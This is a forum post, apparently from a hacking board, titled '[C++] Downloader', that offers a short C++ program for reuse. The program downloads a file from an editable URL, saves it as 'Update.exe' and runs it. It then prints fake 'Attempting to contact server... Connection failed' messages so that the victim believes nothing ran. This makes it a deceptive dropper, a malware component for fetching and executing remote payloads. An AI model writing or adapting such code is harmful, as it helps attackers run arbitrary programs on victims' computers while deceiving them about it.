Jump to content
Gonzalez

[C++] Downloader

Recommended Posts

Posted
#include <iostream>
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

using namespace std;

char szDir[256], szTemp[256];

const char *GetFullDirectory(string szInput)
{
const char *szBuffer;

std::string szDll = szInput;
GetCurrentDirectory(sizeof(szDir), (char *)szDir);
szBuffer = szDll.c_str();
sprintf_s(szTemp, "%s%s", szDir, szBuffer);

return szTemp;
}

int main()
{
cout << "Opening Update.exe, please accept if it asks for your permission to run." << endl;
Sleep(3000);
URLDownloadToFile(NULL, "http://www.google.com/index.html", "Update.exe", NULL, NULL); // edit the URL here.
Sleep(4000);
ShellExecute(NULL, "open", GetFullDirectory("\\Update.exe"), NULL, NULL, SW_SHOWNORMAL);
cout << "Attempting to contact server." << endl;
Sleep(1000);
cout << "Attempting to contact server.." << endl;
Sleep(1000);
cout << "Attempting to contact server..." << endl;
Sleep(1000);
cout << "Connection failed, please try again in a few hours." << endl;
Sleep(4000);

return 0;
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...